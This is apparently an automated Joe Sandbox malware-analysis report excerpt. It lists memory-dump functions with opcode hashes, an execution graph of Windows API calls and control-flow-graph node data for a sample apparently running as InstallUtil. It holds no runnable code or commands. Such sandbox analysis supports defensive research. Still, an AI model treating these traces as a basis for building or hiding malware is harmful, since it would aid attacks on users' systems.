                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: 4'^q$4'^q
                                                                            • API String ID: 0-2697143702
                                                                            • Opcode ID: 27160936e1c468af2af05ebdcacd47db0635f9360bd5bdaa8ff80638884f6b7c
                                                                            • Instruction ID: 989c486552ee3f38b67c43b97a47e94e15b32fdbb59e27a7a78e3ffe36d87c57
                                                                            • Opcode Fuzzy Hash: 27160936e1c468af2af05ebdcacd47db0635f9360bd5bdaa8ff80638884f6b7c
                                                                            • Instruction Fuzzy Hash: 8B711870E00A098FD70CEF7AE94069ABBF3FBC9300F14D529D5099B269EF70594A9B41
                                                                            Function 00CDDE68 Relevance: 2.7, Strings: 2, Instructions: 165COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: 4'^q$4'^q
                                                                            • API String ID: 0-2697143702
                                                                            • Opcode ID: d6b0306a5e3f155a47b5f14e57f590f72c1fd464eebc0243ec43f9db1fda14fe
                                                                            • Instruction ID: d60e734316aaacc892d9a988776e6d2508e3350dafada378be5cab06deb033d9
                                                                            • Opcode Fuzzy Hash: d6b0306a5e3f155a47b5f14e57f590f72c1fd464eebc0243ec43f9db1fda14fe
                                                                            • Instruction Fuzzy Hash: A771E970E00A098FD70CEF7AE94169ABBF3FBC9300F14D529D5099B269EF7059499B41
                                                                            Function 071C0040 Relevance: 2.6, Strings: 2, Instructions: 146COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: '$g
                                                                            • API String ID: 0-3766328362
                                                                            • Opcode ID: ab90632959d71f9c465a128ac3dd587183a3583c4484861cac3f032e0ee25e50
                                                                            • Instruction ID: d5a471bb02f45a53364191cb5dea6915388492eb924c12c1ae69b61e2b4527cb
                                                                            • Opcode Fuzzy Hash: ab90632959d71f9c465a128ac3dd587183a3583c4484861cac3f032e0ee25e50
                                                                            • Instruction Fuzzy Hash: 8A611AB0E05229CBEB29CF65C9487DDF7B2AB89305F0480EAD919A7294E7704A85DF41
                                                                            Function 04680006 Relevance: 1.5, Strings: 1, Instructions: 216COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: dbq
                                                                            • API String ID: 0-1887291361
                                                                            • Opcode ID: 51aa37705a73d57d08975874803de4317cc0df11bcf8bba6d5c3231e2d21fa99
                                                                            • Instruction ID: d8254a5f8842aa7b552c5fe121f73ad63f59df46bac259deb6e2a428fcd0db8d
                                                                            • Opcode Fuzzy Hash: 51aa37705a73d57d08975874803de4317cc0df11bcf8bba6d5c3231e2d21fa99
                                                                            • Instruction Fuzzy Hash: 45918A70A05308CFDB14EFA8D854BADBBB2FF49304F11956AD449A7355EB346989CF01
                                                                            Function 04680040 Relevance: 1.4, Strings: 1, Instructions: 196COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: dbq
                                                                            • API String ID: 0-1887291361
                                                                            • Opcode ID: 6311dae248bf1d42e1c6de96d489d7202310942d9ee85fa0088b1a90ed8ee480
                                                                            • Instruction ID: 47aed50d6f0d6cea7ae51ae485ba3e59ab460b9b0a9bc2fb3c51ddb423449f80
                                                                            • Opcode Fuzzy Hash: 6311dae248bf1d42e1c6de96d489d7202310942d9ee85fa0088b1a90ed8ee480
                                                                            • Instruction Fuzzy Hash: 51815870E01218CFDB58EFA8D844BADBBF2FB49304F11956AD409A7359EB346989CF01
                                                                            Function 00CDFA58 Relevance: .4, Instructions: 431COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: d2685fe57ebfaffd23c19ab5a4d72c64eabd9cd511580f436c8bda294ec571e4
                                                                            • Instruction ID: bf0deafaf72b86cd004251322ee8cecda55cca43c9289088608d944c1d769499
                                                                            • Opcode Fuzzy Hash: d2685fe57ebfaffd23c19ab5a4d72c64eabd9cd511580f436c8bda294ec571e4
                                                                            • Instruction Fuzzy Hash: C5129271E016198BDB14CFAAC98069DFBF2BF88304F24C16AD459EB21AD734A946CF54
                                                                            Function 046C4F98 Relevance: .3, Instructions: 262COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 6da372bf186c526f1d28ce3174aecc0263cc1da19109902ed7a9527304040616
                                                                            • Instruction ID: a547607c9bbddb909c2cd5f189bc6f06b88b339d35c6b0232be6dde8f8c037c0
                                                                            • Opcode Fuzzy Hash: 6da372bf186c526f1d28ce3174aecc0263cc1da19109902ed7a9527304040616
                                                                            • Instruction Fuzzy Hash: 1EB12970E01218DFDB14DFA9D884BADBBF2FB89300F50906AD40AA7355E770A986CF51
                                                                            Function 046C4FA8 Relevance: .3, Instructions: 254COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: a9f2ea76dd745ba11e05a2e791d6cf36427ab840ba88fb49a70b8083b01501df
                                                                            • Instruction ID: 15f305ffb103c7ed85c7f4b12b67649aed9145d10a357a95cb01c1b5121a91a9
                                                                            • Opcode Fuzzy Hash: a9f2ea76dd745ba11e05a2e791d6cf36427ab840ba88fb49a70b8083b01501df
                                                                            • Instruction Fuzzy Hash: 94B10870E01218DFDB14DFA9D844BADBBF2FB89300F50906AD40AA7355EB70A986CF51
                                                                            Function 0468E0E8 Relevance: .2, Instructions: 226COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: b7ccef1113f982a7caa3bd7c689b2a9468637990efe043be4c3f7f486ce12a85
                                                                            • Instruction ID: 4bf57012fab062e87249d20f2d5e13f4c8c73df123d2cf8ba86a3ad4077c0ba1
                                                                            • Opcode Fuzzy Hash: b7ccef1113f982a7caa3bd7c689b2a9468637990efe043be4c3f7f486ce12a85
                                                                            • Instruction Fuzzy Hash: 25910670E04218CFDB58EF68D844BADBBF2EB49304F14916AD40AA7359EB35A985CF11
                                                                            Function 0468E0F8 Relevance: .2, Instructions: 223COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 224a0c5cac2d78dcd07f4149e6f4763c5e8a612130ab74316e91614c650f3a1c
                                                                            • Instruction ID: 90f104896d5b0bbc1e91d5c7375388660cbc376a422985a5b9157f7cca18bd58
                                                                            • Opcode Fuzzy Hash: 224a0c5cac2d78dcd07f4149e6f4763c5e8a612130ab74316e91614c650f3a1c
                                                                            • Instruction Fuzzy Hash: F1910670E04218CFDB58EF68D844BADBBF2EB49304F14916AD40AE7359EB35A985CF11
                                                                            Function 0468E1F4 Relevance: .2, Instructions: 214COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: fd5b165123879f427ff3bfc4c4c7497ef01aa08462e1e08b118fba4c3605eddb
                                                                            • Instruction ID: 87d65862af9100b98836648beef87036e2d4a6a93fa191249e4a04f95590c9d4
                                                                            • Opcode Fuzzy Hash: fd5b165123879f427ff3bfc4c4c7497ef01aa08462e1e08b118fba4c3605eddb
                                                                            • Instruction Fuzzy Hash: 99910470A04208CFDB58EFA8D844BADBBF2FB49304F14916AD40AE7359E735A985CF11
                                                                            Function 071DE4F8 Relevance: .2, Instructions: 209COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 0ea630e97edab179f8dc279b9812c91eede88c355458cb16ebce75c9836af7aa
                                                                            • Instruction ID: 7806e05158619da878a7d433a38fb4139c21118cb2d86eceb427e8ade6838370
                                                                            • Opcode Fuzzy Hash: 0ea630e97edab179f8dc279b9812c91eede88c355458cb16ebce75c9836af7aa
                                                                            • Instruction Fuzzy Hash: 8C9129B4E1521DCFDB68DFA9C844B9DBBB1BF4A305F1480A9D009AB281E7745D89CF11
                                                                            Function 04680780 Relevance: .1, Instructions: 148COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 9f98c4f62774e561a0a77041102c04aea289e2fb7c3a3337911486ea523145ad
                                                                            • Instruction ID: 059c04facba7ec2baad86b4734a096be25f21c22b15946dcf929f23de42c5d34
                                                                            • Opcode Fuzzy Hash: 9f98c4f62774e561a0a77041102c04aea289e2fb7c3a3337911486ea523145ad
                                                                            • Instruction Fuzzy Hash: D7516970A02208CFDB54EF98D4487EDBBF6FB49304F216529D409B7295E7306989CF40
                                                                            Function 04680790 Relevance: .1, Instructions: 142COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 7632d891f5b7ea2dd05ad1b4ebe780b69c38b0dc3abcfd849b8978bcdcb5b2c5
                                                                            • Instruction ID: 3d5262e65ba2c096798620152c762a1bbb7c5f04124571f08747239219fd329a
                                                                            • Opcode Fuzzy Hash: 7632d891f5b7ea2dd05ad1b4ebe780b69c38b0dc3abcfd849b8978bcdcb5b2c5
                                                                            • Instruction Fuzzy Hash: B45138B0E06208CFDB54EF99D4487EDBBF6FB49300F21662AD509A7295E7346989CF04
                                                                            Function 046809E9 Relevance: .1, Instructions: 139COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: b82095f7f86240369f6cdda086594b5f6a7ffdc5cd22e15b3e7c4df0c584916f
                                                                            • Instruction ID: 34099edc320acff3e36ea0bcd4415ceb9a3fb3572766ab86e0728bbe49bf13d2
                                                                            • Opcode Fuzzy Hash: b82095f7f86240369f6cdda086594b5f6a7ffdc5cd22e15b3e7c4df0c584916f
                                                                            • Instruction Fuzzy Hash: 5B517BB0A02208CFDB54EFA4D4487EDBBF2FB45310F21652AD509A7295E734A989CF41
                                                                            Function 04684658 Relevance: .1, Instructions: 120COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: a8e2f0861f9fd44b86ace89be3dcfd754dfc67b09f464f92689d299fc55e31a4
                                                                            • Instruction ID: b8eb446c979627a600622c535c182b742c614ff07ea06522446ebd48085de734
                                                                            • Opcode Fuzzy Hash: a8e2f0861f9fd44b86ace89be3dcfd754dfc67b09f464f92689d299fc55e31a4
                                                                            • Instruction Fuzzy Hash: 535115B0E06259CFEB14DF9AD8407DDBBF6BB89304F1492A9D408AB254FB755985CF00
                                                                            Function 0468464F Relevance: .1, Instructions: 102COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: e6f01174f2fbe217e2d619790a4a3150bc4f88c02ac785533b86645744e891be
                                                                            • Instruction ID: 4ee7838f4dccad99bd52da68c2f7133606af2471d09592af655a309d0dfde46b
                                                                            • Opcode Fuzzy Hash: e6f01174f2fbe217e2d619790a4a3150bc4f88c02ac785533b86645744e891be
                                                                            • Instruction Fuzzy Hash: BC410BB0E06218CBEB18DF9AD8407DDBBF6BF89304F14D1AAD508A7254EB751985CF50
                                                                            Function 071C0006 Relevance: .1, Instructions: 85COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 5c290f32ae22de295e074663a2bee3dbd2e05306372e6f735e39254f405af819
                                                                            • Instruction ID: 477e7a5ea151a23092d102619e3c258e40c96e80efa9ace4c5de3869c32cf620
                                                                            • Opcode Fuzzy Hash: 5c290f32ae22de295e074663a2bee3dbd2e05306372e6f735e39254f405af819
                                                                            • Instruction Fuzzy Hash: 083130B1D097948FE729CF6ACC44699BFF6AF8A300F05C0EAD448AB156D7300986CF51
                                                                            Function 00CD45D0 Relevance: 5.0, Strings: 4, Instructions: 10COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: TJcq$jjjjjj$$^q$$^q
                                                                            • API String ID: 0-672324049
                                                                            • Opcode ID: acace2260843da897183f81a8b6ec10454e7b8369828111e16cdd934e41ece75
                                                                            • Instruction ID: 0cec549caec8b3bcc85483d05180ada3fef67effcdaf7896faff5c43225b3e66
                                                                            • Opcode Fuzzy Hash: acace2260843da897183f81a8b6ec10454e7b8369828111e16cdd934e41ece75
                                                                            • Instruction Fuzzy Hash: E3C0122050E7D08FCB830B2A18E00243E206E6320030880EBE9808F187D620848AEB27
                                                                            Function 00CD458D Relevance: 5.0, Strings: 4, Instructions: 9COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: TJcq$jjjjjj$$^q$$^q
                                                                            • API String ID: 0-672324049
                                                                            • Opcode ID: 3ba9f19f81870c71833f04899a17e7d91a32a836335b03df17a5d2183b6646b7
                                                                            • Instruction ID: 032339c9df66b0d425d837a6aadf8355b0fdf767e2fcb41f98c23ba2fe5534d7
                                                                            • Opcode Fuzzy Hash: 3ba9f19f81870c71833f04899a17e7d91a32a836335b03df17a5d2183b6646b7
                                                                            • Instruction Fuzzy Hash: DFC08C6000E6808FCA060A1A60D02302D007B62201B34D0E3F3420B20BE630C88AA221
                                                                            Function 00CD45B7 Relevance: 5.0, Strings: 4, Instructions: 6COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: TJcq$jjjjjj$$^q$$^q
                                                                            • API String ID: 0-672324049
                                                                            • Opcode ID: 7f83ba5e766b1d501297f4b290aeae531dd643d37672bec9e34a6b621d518fb9
                                                                            • Instruction ID: 52f652fefec026ae882b1a206644005b5b9ec44edfda6e559461d654ea399d2d
                                                                            • Opcode Fuzzy Hash: 7f83ba5e766b1d501297f4b290aeae531dd643d37672bec9e34a6b621d518fb9
                                                                            • Instruction Fuzzy Hash: C8B01130208000CFCA888A00CA80A303320FF82308B3880ABCA0B0BA08C330C88AEA02
                                                                            Function 00CD4571 Relevance: 5.0, Strings: 4, Instructions: 6COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: TJcq$jjjjjj$$^q$$^q
                                                                            • API String ID: 0-672324049
                                                                            • Opcode ID: 7f5793e15863b66c7623c822d5a2ea5cffa8d1bc691a6b0bebf70f67c0621f9d
                                                                            • Instruction ID: 0f38ab8bf55f8158112ae3a1f1cfdd7848dafb0946fcbd91652b2553ab707a6d
                                                                            • Opcode Fuzzy Hash: 7f5793e15863b66c7623c822d5a2ea5cffa8d1bc691a6b0bebf70f67c0621f9d
                                                                            • Instruction Fuzzy Hash: 96B092B0509200CF8705CA00C1808247370FB8124232580AAC2030F02982308983EA01

                                                                            Execution Graph

                                                                            Execution Coverage:9%
                                                                            Dynamic/Decrypted Code Coverage:100%
                                                                            Signature Coverage:0%
                                                                            Total number of Nodes:95
                                                                            Total number of Limit Nodes:11
                                                                            execution_graph 20517 12a4668 20518 12a4676 20517->20518 20523 12a6de1 20518->20523 20521 12a4704 20524 12a6e05 20523->20524 20532 12a6ee0 20524->20532 20536 12a6ef0 20524->20536 20525 12a46e9 20528 12a421c 20525->20528 20529 12a4227 20528->20529 20544 12a851c 20529->20544 20531 12a8806 20531->20521 20533 12a6f17 20532->20533 20534 12a6ff4 20533->20534 20540 12a63d4 20533->20540 20538 12a6f17 20536->20538 20537 12a6ff4 20537->20537 20538->20537 20539 12a63d4 CreateActCtxA 20538->20539 20539->20537 20541 12a7370 CreateActCtxA 20540->20541 20543 12a7433 20541->20543 20545 12a8527 20544->20545 20548 12a853c 20545->20548 20547 12a88dd 20547->20531 20549 12a8547 20548->20549 20552 12a856c 20549->20552 20551 12a89ba 20551->20547 20553 12a8577 20552->20553 20556 12a859c 20553->20556 20555 12a8aad 20555->20551 20557 12a85a7 20556->20557 20559 12a9e8b 20557->20559 20562 12abed9 20557->20562 20558 12a9ec9 20558->20555 20559->20558 20566 12adf70 20559->20566 20570 12abf00 20562->20570 20575 12abf10 20562->20575 20563 12abeee 20563->20559 20567 12adf91 20566->20567 20568 12adfb5 20567->20568 20609 12ae120 20567->20609 20568->20558 20571 12abf10 20570->20571 20579 12ac008 20571->20579 20589 12abff7 20571->20589 20572 12abf1f 20572->20563 20577 12ac008 2 API calls 20575->20577 20578 12abff7 2 API calls 20575->20578 20576 12abf1f 20576->20563 20577->20576 20578->20576 20580 12ac019 20579->20580 20582 12ac03c 20579->20582 20599 12ab35c 20580->20599 20582->20572 20584 12ac034 20584->20582 20585 12ac240 GetModuleHandleW 20584->20585 20586 12ac26d 20585->20586 20586->20572 20590 12ac019 20589->20590 20593 12ac03c 20589->20593 20591 12ab35c GetModuleHandleW 20590->20591 20592 12ac024 20591->20592 20592->20593 20597 12ac2a0 GetModuleHandleW 20592->20597 20598 12ac290 GetModuleHandleW 20592->20598 20593->20572 20594 12ac034 20594->20593 20595 12ac240 GetModuleHandleW 20594->20595 20596 12ac26d 20595->20596 20596->20572 20597->20594 20598->20594 20600 12ac1f8 GetModuleHandleW 20599->20600 20602 12ac024 20600->20602 20602->20582 20603 12ac290 20602->20603 20606 12ac2a0 20602->20606 20604 12ab35c GetModuleHandleW 20603->20604 20605 12ac2b4 20603->20605 20604->20605 20605->20584 20607 12ab35c GetModuleHandleW 20606->20607 20608 12ac2b4 20607->20608 20608->20584 20610 12ae12d 20609->20610 20611 12ae166 20610->20611 20613 12ac784 20610->20613 20611->20568 20614 12ac78f 20613->20614 20615 12ae1d8 20614->20615 20617 12ac7b8 20614->20617 20618 12ac7c3 20617->20618 20619 12a859c 4 API calls 20618->20619 20620 12ae247 20619->20620 20623 12ae2c0 20620->20623 20621 12ae256 20621->20615 20624 12ae2ee 20623->20624 20625 12ae3ba KiUserCallbackDispatcher 20624->20625 20626 12ae3bf 20624->20626 20625->20626 20627 12a6540 20628 12a6586 20627->20628 20632 12a6712 20628->20632 20636 12a6720 20628->20636 20629 12a6673 20633 12a6720 20632->20633 20639 12a611c 20633->20639 20637 12a611c DuplicateHandle 20636->20637 20638 12a674e 20637->20638 20638->20629 20640 12a6788 DuplicateHandle 20639->20640 20641 12a674e 20640->20641 20641->20629

                                                                            Executed Functions

                                                                            Function 07BCA620 Relevance: 3.2, Strings: 2, Instructions: 713COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 624 7bca620-7bca63c 625 7bca6c6-7bca700 624->625 626 7bca642-7bca64f 624->626 638 7bca6a4-7bca6c3 625->638 643 7bca702-7bca71f 625->643 629 7bca666-7bca672 626->629 630 7bca651-7bca65c 626->630 636 7bca69a 629->636 637 7bca674-7bca698 629->637 780 7bca65f call 7bc9f98 630->780 781 7bca65f call 7bc9f81 630->781 632 7bca661-7bca664 634 7bca6a3 632->634 634->638 636->634 637->634 637->636 644 7bca725-7bca72b 643->644 645 7bca7e0-7bca841 643->645 646 7bca72d-7bca730 644->646 647 7bca755-7bca766 644->647 664 7bca86b-7bca8b9 645->664 665 7bca843-7bca86a 645->665 649 7bca7ab-7bca7d9 646->649 650 7bca732-7bca754 646->650 652 7bca76e-7bca772 647->652 653 7bca768 647->653 649->645 656 7bca77a-7bca7aa 652->656 653->656 657 7bca76a-7bca76c 653->657 657->652 657->656 670 7bca8c9-7bca8cd 664->670 671 7bca8bb-7bca8c4 call 7bca4c8 664->671 673 7bca8cf-7bca8de 670->673 674 7bca8e3-7bca8f4 670->674 671->670 675 7bcac78-7bcac7f 673->675 676 7bca8fa-7bca90f 674->676 677 7bcadf2-7bcae00 674->677 678 7bca91b-7bca92e 676->678 679 7bca911-7bca916 676->679 683 7bcada7 677->683 684 7bcae02-7bcae12 677->684 681 7bca934-7bca940 678->681 682 7bcac80-7bcac9e 678->682 679->675 681->677 685 7bca946-7bca97d 681->685 690 7bcaca5-7bcacc3 682->690 686 7bcada8-7bcadc6 683->686 696 7bcae2b-7bcae76 684->696 697 7bcae14-7bcae18 684->697 688 7bca97f-7bca984 685->688 689 7bca989-7bca98d 685->689 722 7bcadcd-7bcadeb 686->722 688->675 689->690 691 7bca993-7bca99f 689->691 703 7bcacca-7bcace8 690->703 691->677 693 7bca9a5-7bca9dc 691->693 698 7bca9de-7bca9e3 693->698 699 7bca9e8-7bca9ec 693->699 731 7bcae78-7bcae84 696->731 732 7bcae85-7bcae8a 696->732 700 7bcae28-7bcae2a 697->700 701 7bcae1a-7bcae25 697->701 698->675 699->703 704 7bca9f2-7bca9fe 699->704 701->700 716 7bcacef-7bcad0d 703->716 704->677 708 7bcaa04-7bcaa3b 704->708 713 7bcaa3d-7bcaa42 708->713 714 7bcaa47-7bcaa4b 708->714 713->675 714->716 717 7bcaa51-7bcaa5d 714->717 729 7bcad14-7bcad32 716->729 717->677 721 7bcaa63-7bcaa9a 717->721 724 7bcaa9c-7bcaaa1 721->724 725 7bcaaa6-7bcaaaa 721->725 722->677 724->675 725->729 730 7bcaab0-7bcaabc 725->730 742 7bcad39-7bcad57 729->742 730->677 734 7bcaac2-7bcaaf9 730->734 736 7bcae8c-7bcae8f 732->736 737 7bcaec8-7bcaecc 732->737 739 7bcaafb-7bcab00 734->739 740 7bcab05-7bcab09 734->740 744 7bcaebd-7bcaec6 736->744 739->675 741 7bcab0f-7bcab1b 740->741 740->742 741->677 746 7bcab21-7bcab58 741->746 753 7bcad5e-7bcad7c 742->753 744->737 747 7bcae91-7bcaea5 744->747 750 7bcab5a-7bcab5f 746->750 751 7bcab64-7bcab68 746->751 759 7bcaebc 747->759 760 7bcaea7-7bcaebb call 7bc2340 747->760 750->675 751->753 754 7bcab6e-7bcab7a 751->754 766 7bcad83-7bcada1 753->766 754->677 757 7bcab80-7bcabb7 754->757 762 7bcabb9-7bcabbe 757->762 763 7bcabc3-7bcabc7 757->763 759->744 762->675 765 7bcabcd-7bcabd9 763->765 763->766 765->677 770 7bcabdf-7bcac16 765->770 766->683 771 7bcac1f-7bcac23 770->771 772 7bcac18-7bcac1d 770->772 771->686 775 7bcac29-7bcac32 771->775 772->675 775->677 777 7bcac38-7bcac6d 775->777 777->722 778 7bcac73 777->778 778->675 780->632 781->632
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: (bq$(bq
                                                                            • API String ID: 0-4224401849
                                                                            • Opcode ID: be3c8035c16808fc198ff0978aef70e996e98cace415caa6fc5116b4ef10ff00
                                                                            • Instruction ID: 192e33e6ea243606d1e04e5ad75b243b04ecef4b58a0ce066ad91a661ed83be3
                                                                            • Opcode Fuzzy Hash: be3c8035c16808fc198ff0978aef70e996e98cace415caa6fc5116b4ef10ff00
                                                                            • Instruction Fuzzy Hash: E44257B4B0061A8FDB18DF69C49466EBBF2FB88301F24C56DD55ADB781DB34A901CB90
                                                                            Function 07BC8640 Relevance: 9.2, Strings: 7, Instructions: 403COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
